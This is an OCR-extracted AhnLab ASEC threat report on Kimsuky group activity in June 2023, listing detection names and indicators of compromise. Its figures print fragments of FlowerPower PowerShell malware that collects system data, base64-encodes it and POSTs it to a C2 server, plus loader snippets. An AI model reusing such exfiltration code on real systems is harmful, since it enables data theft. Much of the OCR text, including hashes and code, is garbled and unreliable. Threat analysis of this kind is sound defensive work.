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If the report includes statistics and indices, some data may be rounded,
meaning that the sum of each item may not match the total.

This report is a work of authorship protected by the Copyright Act.
Unauthorized copying or reproduction for profit is strictly prohibited under any

circumstances.

Seek permission from AhnlLab in advance
if you wish to use a part or all of the report.

If you reprint or reproduce the material without the permission of the organization
mentioned above, you may be held accountable for criminal or civil liabilities.
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A CAUTION

This report contains a number of opinions given by the analysts based on the
information that has been confirmed so far. Each analyst may have a different
opinion and the content of this report may change without notice if new
evidence is confirmed.
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Overview

Activities of the Kimsuky group observed during June 2023 showed a slight increase in the
overall number of fully qualified domain names (FQDNSs), with more AppleSeed types detected
in comparison to the group's activities in May.

At one point, the information collection feature was removed from the FlowerPower type, but
a few days later, samples were equipped with the said feature again.

Also, the RandomQuery type showed attempts to change into a new system after March 2023,
but it seems no changes have been made as of yet.

Attack Statistics

As mentioned above, the FQDN quantity of all attack types was similar to that of May, but more
AppleSeed types were detected.

FQDN by Attack Type in the Last 3
Months
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Figure 1. FQDN statistics by attack type in the last 3 months (Unit: each)
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Major Issues

1) FlowerPower

Like the previous month, there were no significant issues. One thing to note was that a type
without the information collection feature in the phase 1 script was found, but a few days later,
a script with the said feature added in again was found. This seems to be a test for changing
into a new system and for evading detection.

AhnlLab

dfghi

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
$fph = $env:APPDATA + $Thrmvkdlf

New-Item -Path $fph -Type directory -Force

$hFLgPth = $fph + $lognmfl

Get-ChildItem ([ ]: :GetFolderPath("
ipconfig /all

]: :readalltext($hFLgPth)
]::UTF8.GetBytes($hexdata)
1::ToBase64string($bytes)

v = $gjgjrudfh + "1 ¢.php"
Invoke-WebRequest -Uri $udi -Method Post -Body "result=$b64"

Remove-Item -path $hFLgPth -Recurse

while ( )

sssrehbs

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
$fph = $env:APPDATA + $fhrmvkdlf

New-Item -Path $fph -Type directory -Force

$hFLgPth = $fph + $lognmfl

gif $hFLgPth
$hexdata =[ 1::readalltext($hFLgPth)

$bytes = [ ]: :UTF&.GetBytes($hexdata)
$b6a = ]: :ToBase64String($bytes) e W
$udivkv = $gjqjrudfh + “in P’

= np
Invoke-WebRequest -Uri $udivkv -Method Post -Body "result=$b64"”
Remove-Item -path $hFLgPth -Recurse

while ( )

Figure 2. Comparison of scripts
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2) RandomQuery

(1) Distributed via EXE

This type had been distributed through Word or CHM files, or less commonly, OneNote files,
but recently it was found to be distributed via ".NET" EXE files.

Details of it have been covered on the ASEC Blog." It saves the data encoded in Base-64 as
"update.vbs" before executing it with PowerShell.

ecialFolder)folder);
(s));

T+ text2 + "'

Figure 3. Encoded data included within the file

Upon execution, the message "The document has been corrupted" written with North Korean
grammar is displayed, and an additional script is downloaded and executed from the C2.

GetObject ("winmgmts:
.SetStringValue hk, regdir,
.SetDwordValue hk, regdir

.SetDwordValue hk, "Softwa ", "RedirectionMode™, @
End With

SetIEState

Figure 4. A portion of the final script code
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(2) Different PHP Files

In the past, the parameters used to download additional scripts used "list.php" and "lib.php".
In March 2023, "stdio.php" and "main.php" were found to be used in distribution.?

However in June, the system was changed once again, and scripts using "train0.php" and
“train1.php" were found.

) .NameSpace(21)
t v & fn_suf

fp.write res content

fp.close

Regl res_path

SetIEState

pow_cmd = "cmd fc po chell -command ™ 1.php .content;

Figure 5. A portion of the script code

This script code, however, does not seem to be used continuously, and "list.php" and "lib.php"
are still in use.

3) AppleSeed

There are no particular issues regarding AppleSeed aside from the detection of a higher
number of FQDNs of this type.
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AhnlLab Response Overview

The detection names and the engine version information of AhnlLab products are shown below.
Even if the activities of this threat group have been identified recently, AhnLab products may
have already detected the related malware in the past. While ASEC is tracking the activities of
this group and responding to related malware, there can be variants that have not been
identified and thus are not detected.

Backdoor/Win.Akdoor.R493994 (2022.05.24.02)
Backdoor/Win.AppleSeed.R588872 (2023.06.27.02)
Backdoor/Win.ledoor.R589074 (2023.06.29.00)
Backdoor/Win.ledoor.R589198 (2023.06.30.00)
Downloader/DOC.Kimsuky (2023.06.19.02)
Downloader/VBS.Kimsuky.SC189995 (2023.06.23.00)
Downloader/VBS.Kimsuky.SC189996 (2023.06.23.00)
Downloader/VBS.Kimsuky.SC189997 (2023.06.23.00)
Dropper/Win.FakeGovuki.C5411525 (2023.04.15.01)
Dropper/Win.RedSticker.R587238 (2023.06.17.04)
Trojan/Powershell.FlowerPower.SC189991 (2023.06.23.00)
Trojan/Powershell.FlowerPower.SC189992 (2023.06.23.00)
Trojan/Powershell.FlowerPower.SC189993 (2023.06.23.00)
Trojan/Powershell.FlowerPower.SC189994 (2023.06.23.00)
Trojan/VBS.Kimsuky (2023.06.07.00)

Trojan/VBS.Kimsuky (2023.06.07.01)

Trojan/VBS.Kimsuky (2023.06.08.01)

Trojan/VBS.Kimsuky (2023.06.19.00)
Trojan/VBS.Kimsuky.SC189815 (2023.06.16.02)
Trojan/Win.Agent.C5446517 (2023.06.27.02)
Trojan/Win.Fakelnstaller.R588857 (2023.06.27.02)
Trojan/Win.LightShell.C571850 (2023.04.15.01)
Trojan/Win.LightShell.R435857 (2021.08.07.00)
Trojan/Win.LightShell.R571850 (2023.04.15.01)
Trojan/Win.RedSticker.C5442465 (2023.06.17.04)
Trojan/Win.Wacatac.C5446523 (2023.06.27.02)
Trojan/Win.Wacatac.C5446557 (2023.06.27.03)
Trojan/Win.Wacatac.C5446606 (2023.06.27.03)
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Indicators Of Compromise (I0C)

A portion of the following IOC quotes other analysis reports, and there are some cases that
could not be verified because samples could not be obtained. Updates may occur without
prior notice when new information is found.

File Paths and Names

The file paths and names used by the threat group are as follows. File names of some malware
or tools may be the same as those of normal files.

KISA-Security-Upgrade.exe

plugin.dll

AboutUpdate.dll

setup.exe

AdobeService.dll

EastSoftUpdate.dll

plugins.rar

version.dll

nos_mon.dll

nos.dll

=UIA=IE] XIZCl2IA ([Attachment] Payment Request for Fees)
IHRIHE RELHY . hwp .exe (Personal Data Leakage Details.hwp .exe)
012k AH|AS (HE2VE) LR 20k scr (01. Conceptual Estimation Statement (Nammulgeum VE) Structural
Division.scr)

PDB Path
DwworkWVirusw_troyWc#wpack_2023%W2023-06Wwork¥objwDebugwConsoleApplication1.pdb

File Hashes (MD5)

The MD5 of the related files are as follows. However, sensitive samples may have been
excluded.

FlowerPower
FOD71355F670859072736DD79AD98EAA
D1C2B846CD88C3F40278ADA4F5324A16
7E864D6DABCEB615714C0O0DDFOC79649
52151A3B6CFF1F354015004289117309
497AC9OCEOA9OETD8ABOE25AEQC4CI7A2
38B47A5D7DA67AB354875DFFFFA78632
1FF6FAT140EATA8D8C54C4230E78481CB
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0456CC20EACC2D4EBAS42C73C5472FFB

AppleSeed
5F1865E9743FB422E6CBCC80071ECAA3
2A64975138726094644D9ADFES94B48A
2A09648E314A3E90143DBBF2F9A93011
324A4FA70F9614CD51B128BOEDDE9A3C
E8C32A91D00CE6DCT1EDA3BEFDFDDOAOSF
042FB52B45F396D7792785D5B2CF0865
3C165E9F3B996AC5895E2E4AA223FF77
EBO63FE691240F22ACD8921F47609A3C
88D0O9F09A3B717FEE194F7B13186A215
586AED4E9QD72A59F7F870DDC2D690013
3FE2DA9F950D9B7EFF5EOQA41B45AE247
80F381A20D466E7A02EA37592A26B0BS8
B6D11017E02E7D569CFE203EDA25F3AA
2EDC8C2125D8C8C2088D444101BB3900
BC5BE496BOAE7C64D8F2C19CD48372F4

RandomQuery
BE73B571C65C69CB9B5E42115A95DBOE
91834990B5A5DB82AFFC54397A5358CA
91029801F6F3A415392CCFEE8226BE6G7
73174C9D586531153A5793D050A394A8
6800EC49A66BCDB10EC93CD2E2EDF7DD
5219814E59F8AGAB7EEFFC72E83177A3
317813D9DBA23495D65A93413D60271E
2848CDF503A646596F7F90B476FA2DEA

Belatedly discovered samples

C5E0A2B881A60FB3440BB78E9920DCCD
C447624D99292F1465B51D3EFEDA9ET3
97DE7D4C5115C02D0O8DE760E1DAFC403

Related Domains, URLs, and IP Addresses

The download or C2 addresses used are as follows. http was changed to hxxp, and sensitive
information may have been excluded.

mc2023.xn--h32bi4v.xn--3e0b707e (Mc2023.0|21.8t2) (mc2023.main.korea)
xn--289al32f.xn--hk3b17fxn--3e0b707e (B3| AH.$=) (kyunghee.server.korea)
xN--vj4b99f xn--0i2b61z32a.xn--3e0b707e (YA 2221 8t=2) (yonsei.online.korea)
mofa.xn--yq5b.xn--3e0b707e (mofa.&.8=) (mofa.web.korea)

xo.ultra.r-e.kr

seg98sdfe.home.kg
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app.awiki.org

my.worksp.p-e.kr

pikaros2.r-e kr

gwedsa.hs.vc

getaral.mygamesonline.org

maps.cky.cl

ktapp.p-e.kr

pital.sportsontheweb.net

polkigh.eu
hxxp://jw577.co.kr/adm/inc/in/list.php?query=[RandomNumber]
hxxp://jw577.co.kr/adm/inc/in/lib.php?idx=[RandomNumber]
hxxp://kede.co.kr/adm/js/js/list.php?query=[RandomNumber]
hxxp://kede.co.kr/adm/js/js/lib.php?idx=[RandomNumber]
hxxp://well-story.co.kr/adm/inc/js/list.php?query=[RandomNumber]
hxxp://well-story.co.kr/adm/inc/js/lib.php?idx=[RandomNumber]
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About ASEC

AhnLab Security Emergency response (ASEC), through our
team of highly skilled cyber threat analysts and incident
responders, delivers timely and accurate threat intelligence
and state-of-the-art response on a global scale. ASEC
provides the most contextual and relevant threat intelligence
backed by our groundbreaking research on malware,
vulnerabilities, and threat actors to help the global community
stay ahead of evolving cyber-attacks.

About AhnLab

Ahnlab is a leading cybersecurity company with a reliable
reputation for delivering advanced cyber threat intelligence
and threat detection and response (TDR) capabilities with
cutting-edge technology. We offer a cybersecurity platform
comprised of purpose-built products securing endpoint,
network, and cloud, which ensures extended threat visibility,
actionable insight, and optimal response. Our best-in-class
researchers and development professionals are always fully
committed to bringing our security offerings to the next level
and future-proofing our customers’ business innovation
against cyber risks.




